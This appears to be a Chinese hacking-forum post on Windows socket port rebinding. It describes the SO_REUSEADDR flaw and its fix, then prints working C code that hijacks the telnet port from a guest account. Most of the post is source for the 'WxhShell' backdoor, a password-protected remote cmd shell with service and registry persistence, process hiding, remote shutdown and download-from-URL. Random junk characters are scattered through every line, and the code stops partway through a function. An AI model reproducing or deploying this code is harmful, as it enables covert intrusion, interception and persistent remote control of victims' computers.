在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
R\^XF8n6/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FdFN4{<QZ |xX>AMZc)D saddr.sin_family = AF_INET;
3Sh#7"K3 aZBb@~Y saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gK+/wTQ% R^ &nBwp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
H){lXR/#u +x_9IvaW&? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
29~Bu5 2Pz)vnV" 这意味着什么?意味着可以进行如下的攻击:
NU{`eM N "Mw1R4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ux=0N]lc A$;"9F@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F!pgec%]' *!-J"h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9W+RUh^W KE*8Y4#9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9?L,DThQ 9Atnnx]n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
NR|t~C+ /@`kM'1:
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sBV})8]KM JrgpDZ
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
B>XfsZS Ir\f_>7 #include
RhQ[hI #include
P{ HYZg #include
[zMnlO #include
1SO!a R#g DWORD WINAPI ClientThread(LPVOID lpParam);
K]s*rPT/, int main()
,"U_oa3 {
oasEG6OI8 WORD wVersionRequested;
Eu)(@,]we DWORD ret;
3rh@|fg)E WSADATA wsaData;
}=T=Z#OgH BOOL val;
`iT{H]po SOCKADDR_IN saddr;
IyJHKDFk SOCKADDR_IN scaddr;
nlsif int err;
~]LkQQ' SOCKET s;
gtVnn]Jh SOCKET sc;
6tKCY(#oO+ int caddsize;
8{ooLdpX7 HANDLE mt;
6(as.U>K DWORD tid;
?Ja&LNI9S wVersionRequested = MAKEWORD( 2, 2 );
gSn9L)k(O err = WSAStartup( wVersionRequested, &wsaData );
=/zb$d cz if ( err != 0 ) {
VsR8|Hn$ printf("error!WSAStartup failed!\n");
dw"{inMf return -1;
KYN{Dh]-} }
r< ~pSj saddr.sin_family = AF_INET;
'7;b+Vbl# ZA {T0: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q-7C'| B;=-h(E}vJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
zC<k4[ . saddr.sin_port = htons(23);
-Mx\W|YK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wu53e= / {
YOE!+MiO printf("error!socket failed!\n");
GX-V|hLaGX return -1;
7 S6@[-E }
|'ML
)`c[ val = TRUE;
s.qo/o\b //SO_REUSEADDR选项就是可以实现端口重绑定的
"Di8MMGOY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
noL&>G {
f:hsE printf("error!setsockopt failed!\n");
YRRsbm{ return -1;
o +KDK{MD }
DITo.PU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Tt\h#E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<g3)!VR^q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
tkjQSz E8LA+dKN: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
JVxGS{Z {
6#gS`X23Y ret=GetLastError();
)oAx t70 printf("error!bind failed!\n");
RM|2PG1m return -1;
vnr{Ekg }
rK@XC +`S listen(s,2);
0+dc while(1)
734f&2 {
4-vo R5Fd caddsize = sizeof(scaddr);
[Rxbb+,U //接受连接请求
d.3cd40Q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,*MAteD if(sc!=INVALID_SOCKET)
;vuqI5k {
xmXuBp:M(R mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<reALC if(mt==NULL)
50jZu'z: {
UI%Z`.& printf("Thread Creat Failed!\n");
<N'v-9=2jl break;
wSd|-e }
\@!"7._= }
kJ[r.)HU CloseHandle(mt);
-~] q?k? }
;k|U2ajFJ closesocket(s);
;1AXu/ WSACleanup();
RIdh],- return 0;
$+ }
i9koh3R\ DWORD WINAPI ClientThread(LPVOID lpParam)
'B\7P*L"p {
j@u]( nf SOCKET ss = (SOCKET)lpParam;
vN9R.R SOCKET sc;
cMK}BHOC unsigned char buf[4096];
U-U"RC> SOCKADDR_IN saddr;
/P%OXn$i/ long num;
O;lGh1. DWORD val;
WRov7 DWORD ret;
[jEZ5]% //如果是隐藏端口应用的话,可以在此处加一些判断
iu.v8I;< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B?
Z_~Bf& saddr.sin_family = AF_INET;
7SJR_G6,{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
A@<a')#>) saddr.sin_port = htons(23);
?Gqq]ozm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z3Zo64V~7 {
Q].p/-[( printf("error!socket failed!\n");
(Cb;=:3G return -1;
\"pp-str }
/Os6i&; val = 100;
A9_}RJ9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JnIE6@g<y {
`n?Rxhkwp ret = GetLastError();
dt|| nF return -1;
ZA+w7S3 }
^). if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iY*fp=c9 {
Y*/e;mG. ret = GetLastError();
vzFo" return -1;
0,whTnH| }
dym K @ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}0V aZ<j {
4w5);x. printf("error!socket connect failed!\n");
#w@V!o closesocket(sc);
Qo~|[]GE closesocket(ss);
J'C9}7G return -1;
;-AC}jG }
XR_Gsb%l while(1)
46##(4RF {
tj4/x7! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3O*^[$vM //如果是嗅探内容的话,可以再此处进行内容分析和记录
&u2H^ j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
xn=#4:f num = recv(ss,buf,4096,0);
%uw7sGz\ if(num>0)
&WNIL13DK send(sc,buf,num,0);
fE"-W{M else if(num==0)
sBk|KG break;
7!dj&? num = recv(sc,buf,4096,0);
m6uFmU*<M} if(num>0)
*#9?9SYSk send(ss,buf,num,0);
[Ob09#B%:5 else if(num==0)
Ggry,3X3 break;
=P%?{7 }
;pj,U!{%s\ closesocket(ss);
-}u1ZEND closesocket(sc);
" GY3sam return 0 ;
xzHb+1+p }
[/o BjiBA 8]mRX~ B$M4f7 ==========================================================
6UI6E)g lVCnu>8 下边附上一个代码,,WXhSHELL
$0R5 ]]db) y$+=>p|d.^ ==========================================================
a+RUSz;DL 2HO2 #include "stdafx.h"
@ZRg9M:N DwGRv:&HH #include <stdio.h>
vmg[/# #include <string.h>
nC(Lr,( #include <windows.h>
2@W`OW Njm #include <winsock2.h>
2wu\.{6Zp #include <winsvc.h>
dVg'v7G&V( #include <urlmon.h>
Ma4eu8
A4g,) #pragma comment (lib, "Ws2_32.lib")
K~4bT= #pragma comment (lib, "urlmon.lib")
cJf&R^[T )t((x #define MAX_USER 100 // 最大客户端连接数
85e*um^ #define BUF_SOCK 200 // sock buffer
_6!iv #define KEY_BUFF 255 // 输入 buffer
P?^%i *j(UAVp #define REBOOT 0 // 重启
$_3)m #define SHUTDOWN 1 // 关机
6"?#E[ #[ !jf!\Uu[U #define DEF_PORT 5000 // 监听端口
g&{CEfw& SAiaC _ #define REG_LEN 16 // 注册表键长度
V qcw2 #define SVC_LEN 80 // NT服务名长度
AZf69z r
KYQ 8T // 从dll定义API
|ZC'a! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
T% GR{mp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+koW3> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>{l
b|Vx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KrR`A(=WL 1BgHkDW // wxhshell配置信息
3?D{iMRM struct WSCFG {
B2Rpd &[ int ws_port; // 监听端口
fw
VI%0C@ char ws_passstr[REG_LEN]; // 口令
y|=KrvMHJ int ws_autoins; // 安装标记, 1=yes 0=no
R;pIi/yDRe char ws_regname[REG_LEN]; // 注册表键名
BNe>Lk o char ws_svcname[REG_LEN]; // 服务名
4V;-*: char ws_svcdisp[SVC_LEN]; // 服务显示名
v,Zoy|Lu char ws_svcdesc[SVC_LEN]; // 服务描述信息
na*Z0y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\TYVAt]
? int ws_downexe; // 下载执行标记, 1=yes 0=no
_DAqL@5n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&*bpEdkZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
v_WF.sb~ 8H1&=)M= };
Q eN7~ J =dwy 4 // default Wxhshell configuration
"&{.g1i9 struct WSCFG wscfg={DEF_PORT,
6J_$dzw "xuhuanlingzhe",
:;c`qO4 1,
gW^4@q "Wxhshell",
W7;RQ "Wxhshell",
Al]*iw{ "WxhShell Service",
O \gVB!x "Wrsky Windows CmdShell Service",
6Eus_aP "Please Input Your Password: ",
jcjl q-x 1,
~1aM5Ba{ "
http://www.wrsky.com/wxhshell.exe",
8)2M%R\THn "Wxhshell.exe"
OO'zIC<z };
@iMF&\KC C9_[ke[1D // 消息定义模块
xB]^^NYE= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a_]l?t char *msg_ws_prompt="\n\r? for help\n\r#>";
oIQ$98 M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#2lvRJB char *msg_ws_ext="\n\rExit.";
+=d= char *msg_ws_end="\n\rQuit.";
u/NcX char *msg_ws_boot="\n\rReboot...";
B~M6l7^? char *msg_ws_poff="\n\rShutdown...";
=p7id5" char *msg_ws_down="\n\rSave to ";
XL9-N?(@ Sn^M[}we char *msg_ws_err="\n\rErr!";
t BG
9Mn char *msg_ws_ok="\n\rOK!";
.;S1HOHz4 d^v.tYM$N char ExeFile[MAX_PATH];
k2.k}?w!JO int nUser = 0;
p$ETAvD HANDLE handles[MAX_USER];
j/F('r~L int OsIsNt;
2kk; z0f A`Rs
n\ SERVICE_STATUS serviceStatus;
-%Ce SERVICE_STATUS_HANDLE hServiceStatusHandle;
=diGuIB rg=Ym. // 函数声明
4?+jvVq int Install(void);
aL&9.L|1g int Uninstall(void);
\KS.A
4 int DownloadFile(char *sURL, SOCKET wsh);
qq_ZkU@xg int Boot(int flag);
O4:_c-V2 void HideProc(void);
uRYq.`v, int GetOsVer(void);
5iI(A'R[7 int Wxhshell(SOCKET wsl);
j,SZJ{ebXg void TalkWithClient(void *cs);
yqtaQ0F~ int CmdShell(SOCKET sock);
gIIF17|Z int StartFromService(void);
7TU xdI int StartWxhshell(LPSTR lpCmdLine);
1
.[OS B9Wd
' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6.$z!~8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
(i?9/8I 9Zmq7a
E // 数据结构和表定义
w~jm0jK] SERVICE_TABLE_ENTRY DispatchTable[] =
OF)*kiJ {
7Ka4?@bQ {wscfg.ws_svcname, NTServiceMain},
D #7q3s {NULL, NULL}
P2 qC[1hYH };
*cCj*Zr] [wnaF|h // 自我安装
]=]MJ3_7 int Install(void)
ykH@kv Qt {
9'e<{mlM char svExeFile[MAX_PATH];
=zDvZ(5 HKEY key;
):nC%0V strcpy(svExeFile,ExeFile);
(_+ux1h6^ [d-Y1 // 如果是win9x系统,修改注册表设为自启动
R=$}uDFmW if(!OsIsNt) {
$9xp@8b\_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e.#,9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(d*||" RegCloseKey(key);
QC&,C}t, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!4<A|$mQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k*C[-5&# RegCloseKey(key);
*UXa.kT@ return 0;
`s3:Vsv4 }
!&`\MD>;~R }
l<<9H-O }
/[ft{:#&t else {
z]LVq k 0I do_V // 如果是NT以上系统,安装为系统服务
jxt]Z3a ~0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CC'N"Xb if (schSCManager!=0)
&&m1_K {
)K`tnb.Pf SC_HANDLE schService = CreateService
Pj_DI)^ (
q_L. Sy|) schSCManager,
!R#PJH/TM wscfg.ws_svcname,
sIl&\g<b wscfg.ws_svcdisp,
h(3-/4 SERVICE_ALL_ACCESS,
4L4u< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ne 3t|JZ SERVICE_AUTO_START,
l Ft&cy2 SERVICE_ERROR_NORMAL,
tp }Bz&V svExeFile,
wlslG^^(! NULL,
F g'{K%t4 NULL,
g[~J107%A NULL,
h0$ \JXk NULL,
\OWxf[ NULL
Lxv_{~I* );
so| U&`G if (schService!=0)
<X5ge>. {
$fT#Wva-\d CloseServiceHandle(schService);
,t9CP CloseServiceHandle(schSCManager);
-mo4`F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-7o-d-d F strcat(svExeFile,wscfg.ws_svcname);
ac966<# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_\=
/~>Xl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4cJ/XgX RegCloseKey(key);
*,*XOd:3TL return 0;
gw%L M7yQR }
:S!!J*0 }
HCe/!2Y/% CloseServiceHandle(schSCManager);
~ahu{A4Bw }
0dI7{o;<| }
<1:I[b {i3=N{5b return 1;
Z@$'fX?~9 }
`Hv"^o i }Zz[b // 自我卸载
r(_Fr#Qn int Uninstall(void)
* kUb[ {
5lM 3In@ HKEY key;
d-W*`:Q TIaiJvo if(!OsIsNt) {
n!lE|if if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[9Tnp]q RegDeleteValue(key,wscfg.ws_regname);
"T<7j.P? RegCloseKey(key);
5LU7}v~/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sqjDh RegDeleteValue(key,wscfg.ws_regname);
h uR ^l RegCloseKey(key);
N+H[Y4c?F& return 0;
*A")A.R }
9;`hJ!r }
XaoVv2=G~ }
8,VEuBZ else {
=)N6R m6 Y0,9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
A 2\3.3 if (schSCManager!=0)
/'_Yct= {
hw)z] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J9y}rGO if (schService!=0)
+bb-uoZf {
wqap~X if(DeleteService(schService)!=0) {
S@~ReRew2 CloseServiceHandle(schService);
f}ch1u> CloseServiceHandle(schSCManager);
fjuPGg~ return 0;
*#@{&Q(Qh }
c|(Q[= CloseServiceHandle(schService);
1:./f|m }
I?%#`Rvu CloseServiceHandle(schSCManager);
iU=:YPE+. }
u09D`QPP] }
!ZCxi
+#A~O4%t return 1;
AXnKhYlu }
AP4s_X+= :`<MlX // 从指定url下载文件
T8W^qrx.v int DownloadFile(char *sURL, SOCKET wsh)
qDfhR`1k {
Wg8*;dvtM HRESULT hr;
%N\8!aXnf char seps[]= "/";
) :Px`] 5 char *token;
f'qM?GlET char *file;
lR`.V0xA char myURL[MAX_PATH];
Imyw-8/; char myFILE[MAX_PATH];
8|+@A1)&4 LA(/UA3Izd strcpy(myURL,sURL);
kK0zb{ token=strtok(myURL,seps);
9'|_1Q.b^ while(token!=NULL)
J%!vhQ {
E5*pD*# file=token;
5a2;@}%V token=strtok(NULL,seps);
gl2l%]=\' }
e<~bDFH OF; "%IW~} GetCurrentDirectory(MAX_PATH,myFILE);
GW7+# strcat(myFILE, "\\");
X]\; f strcat(myFILE, file);
E%Ko[G send(wsh,myFILE,strlen(myFILE),0);
fj9&J[ send(wsh,"...",3,0);
bz [?M} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3-[+g}kak? if(hr==S_OK)
1&Mpx!K*T return 0;
58`Dcx,yJ else
%/_E8GE
return 1;
+vV?[e 0[8uuqV[cB }
fN9uSnu
TIF =fQ // 系统电源模块
6\y?+H1 int Boot(int flag)
'I>geW?{QK {
1p<*11 HANDLE hToken;
li#ep?5h^ TOKEN_PRIVILEGES tkp;
gnf4H
V~ U0N6\+ if(OsIsNt) {
wX!0KxR/Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SWT)M1O2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\vpX6!T tkp.PrivilegeCount = 1;
f>Tn#OW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
muhu`
k`C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-f?,%6(1 if(flag==REBOOT) {
1] .m4vC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3S%/>)k return 0;
TpHzf3.I }
p>+Q6o9O else {
Ksk[sf?J& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F9r|EU#; return 0;
'S9jMyZrZ }
!?K#f?x<? }
!|mzu1S else {
6;M{suG| if(flag==REBOOT) {
_~2o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f%q ? return 0;
SI=7$8T5=5 }
Ldy(<cN else {
ITz+O=I4R] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3XncEdy_ return 0;
BJp~/H`vd }
%P C[-(Q
}
y6H`FFqK {c<cSrfI return 1;
]v+yeGIK S }
fOP3`G^\ \GK]6VW // win9x进程隐藏模块
w5t|C> void HideProc(void)
.B!
Z0 {
{CX06BP @R`Ao9n9V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tK6=F63e if ( hKernel != NULL )
jFI`CA6P {
s;[WN. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L9!\\U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
DIkf#} FreeLibrary(hKernel);
fW=eB'Sl }
L3s"L.G d9 l2mJzW return;
bu=RU }
o,/w E "}S6a?]V // 获取操作系统版本
!';;q int GetOsVer(void)
( yB]$ {
Qn;,OBk OSVERSIONINFO winfo;
ghTue*A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
O]oH}#5b GetVersionEx(&winfo);
N]F}Z#h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ku#WQL return 1;
M5N#xgR else
_auFt"n return 0;
~*e@^Nv)v }
X]=8Oa P]2V~I/X // 客户端句柄模块
!1
Y[e^ int Wxhshell(SOCKET wsl)
a/[)A _- {
l;B SOCKET wsh;
`(E$-m-~jH struct sockaddr_in client;
bzECNi5^ DWORD myID;
a&7uRR26 VDiW9] while(nUser<MAX_USER)
p@oz[017/J {
c IPOI'3d int nSize=sizeof(client);
)G*xI`(@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
W<$!H
V$ if(wsh==INVALID_SOCKET) return 1;
|FSp`P hV
fANbs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@E>I<j,D if(handles[nUser]==0)
gSe3S-Lt closesocket(wsh);
v^Rw9*w{ else
$KP;9 nUser++;
y~Mu~/s }
k:N/-P&+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dfh 1^Go yI/ FD return 0;
Zh`[A9I/ }
b,>>E^wd! 3u<
ntx >< // 关闭 socket
2q*wYuc void CloseIt(SOCKET wsh)
bHQ) :W {
Ko|gH]B' closesocket(wsh);
pm[+xM9PB nUser--;
@gw8r[ ExitThread(0);
bV+2U }
aj<r= e%IbME]x // 客户端请求句柄
jsP+,brO void TalkWithClient(void *cs)
cM]ZYi {
m|v$F,Lv 8Y:x+v5 SOCKET wsh=(SOCKET)cs;
#$}A$ sm char pwd[SVC_LEN];
5=8t<v1Bn char cmd[KEY_BUFF];
!lBK!'0 char chr[1];
7}`FXB int i,j;
Fh/sD? ex66GJQe1 while (nUser < MAX_USER) {
xqQK-?k T 2Yc` + if(wscfg.ws_passstr) {
ph~BxK )i6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ux6p2Sk;K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k *>"@ //ZeroMemory(pwd,KEY_BUFF);
7xfS%'=y" i=0;
3$.#\*s_4 while(i<SVC_LEN) {
\s!x;nw[ pF(6M3>IN // 设置超时
:>F3es` fd_set FdRead;
9TwKd0AT$& struct timeval TimeOut;
I1I-,~hO FD_ZERO(&FdRead);
<kWkc|zBY FD_SET(wsh,&FdRead);
"=V!-+*@G@ TimeOut.tv_sec=8;
*,~L_)vWO TimeOut.tv_usec=0;
<(H<*Xf9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
UD9JE S, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@Gy.p5J8 hD4>mpk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0
ZSn r+ pwd
=chr[0]; rinTB|5
if(chr[0]==0xd || chr[0]==0xa) { WQbjq}RfI
pwd=0; \[]?9Z=n
break; B:Awy/XMi
} +O.qYX
i++; y>)c?9X
} Y?L>KiM$
{|B[[W\TN
// 如果是非法用户,关闭 socket O 0$V+fE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T\bpeky~
} 2'-84
|sEuhP\A3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ijk hV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 12;YxW>[
)uMv]
while(1) { d8U<V<H<
@4]{ZUV
ZeroMemory(cmd,KEY_BUFF); ~O]{m,)n
mkrVeBp
// 自动支持客户端 telnet标准 7p1B"%
j=0; z 7+>G/o
while(j<KEY_BUFF) { 1N<n)>X4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >0uj\5h)I]
cmd[j]=chr[0]; `6;$Z)=.
if(chr[0]==0xa || chr[0]==0xd) { ]2
$T 6
cmd[j]=0; X4Pm&ol
break; i%,
't
} xLfv:Rp
j++; K\59vtga
} R1eWPtWs
z^s\&gix
// 下载文件 USS%T<Vk
if(strstr(cmd,"http://")) { X*:,|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :8HVq*itS
if(DownloadFile(cmd,wsh)) {m@tt{%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7[!dm_
else S_ UAz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =LGSywWM9
} Eggu-i(rD
else { Pn6~66a6
%(W8WLz}
switch(cmd[0]) { *)Cr1d k
yqVoedN
// 帮助 *M_^I)*L
case '?': { <q>d@Foi
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /+8VW;4|I
break; KY%{'"'u
} 6 jm@`pYbE
// 安装 3:xKq4?
case 'i': { HFlExau
if(Install())
sFnR;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9F>21UU
else E31YkD.A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7#NHPn
break; O.-n&U9
} $EEn]y
// 卸载 ST;o^\B
case 'r': { `w`F-ke]I
if(Uninstall()) ;(A-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); scYqU7$%T
else 6:6A"A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YDj5+'y
break; Jb^{o+s53
} 29VX-45
// 显示 wxhshell 所在路径 xplV6q`
case 'p': { Wq"-T.i
char svExeFile[MAX_PATH]; lI+^}-<
strcpy(svExeFile,"\n\r"); 8n-Xt7z
strcat(svExeFile,ExeFile); IV1Y+Z )
send(wsh,svExeFile,strlen(svExeFile),0); Dln1 R[
break; 9%"`9j~H>
} 1uCF9P
ai
// 重启 >tx[UF@P@
case 'b': { SM2N3"\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }p?67y/
if(Boot(REBOOT)) |lg jI!iK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }L&LtW{X
else {
3bR%#G%
closesocket(wsh); ^SKHYo`,,N
ExitThread(0); )rt%.`
} SMJRoK3
break; E`<ou_0N@q
} EWgJ"WTF
// 关机 A~lc`m-
case 'd': { E*wG5]at
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #z<#oC5
if(Boot(SHUTDOWN)) EtaKo}!A}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! K_<hNG&
else { q-ko)]
closesocket(wsh); he:z9EG}
ExitThread(0); W$()W)
} `wQs$!a
break; tf|;'Nc6
} t|hc`|
// 获取shell Zq<j}vVJ
case 's': { 0a^bAEP
CmdShell(wsh); |WEl5 bNc3
closesocket(wsh); X!mJUDzh]
ExitThread(0); u[Si=)`VPk
break; `JpFqZ'58
} 6vR6=@(`>
// 退出 }qhYHC
case 'x': { -aS@y.z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kh:_,g
CloseIt(wsh); Lo#G. s|
break; c@"FV,L>
} 4,Oa(b
// 离开 <\O8D0.d
case 'q': { $eG_LY 1v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _X mxBtk9f
closesocket(wsh); 6M_:D
WSACleanup(); _aF8Us
exit(1); D,[Nn_N
break; ]'M B3@T
} 80'@+AD
} X0-PJ-\aD@
} >u(^v@Ejf
J:gC1g^
// 提示信息 _q4O2Fx0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jZPGUoRLg
} 5pe)CjE:
} WZPj?ou`G
cs.t#C
return; xW*Lceb
} g,!.`[e'ex
YG8V\4
SQ
// shell模块句柄 I`rN+c:
int CmdShell(SOCKET sock) C;K+ITlJ
{ 7pQ5`;P
STARTUPINFO si; 6 U[VoUU
ZeroMemory(&si,sizeof(si)); j BBl{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -]Su+/3(,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OuEcoI K
PROCESS_INFORMATION ProcessInfo; ]@<VLP?
char cmdline[]="cmd"; <tZZ]Y]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eOF*|9
return 0; =b>TF B=*N
} qHdUnW
, QWus"5H
// 自身启动模式 W02z}"#
int StartFromService(void) P5oS 1iu*
{ #$-?[c$>
typedef struct oYTLC@98}
{ ~%g,Uypi
DWORD ExitStatus; B5vLV@>]
DWORD PebBaseAddress; j~K(xf
DWORD AffinityMask; ;nQ=!
.#Q
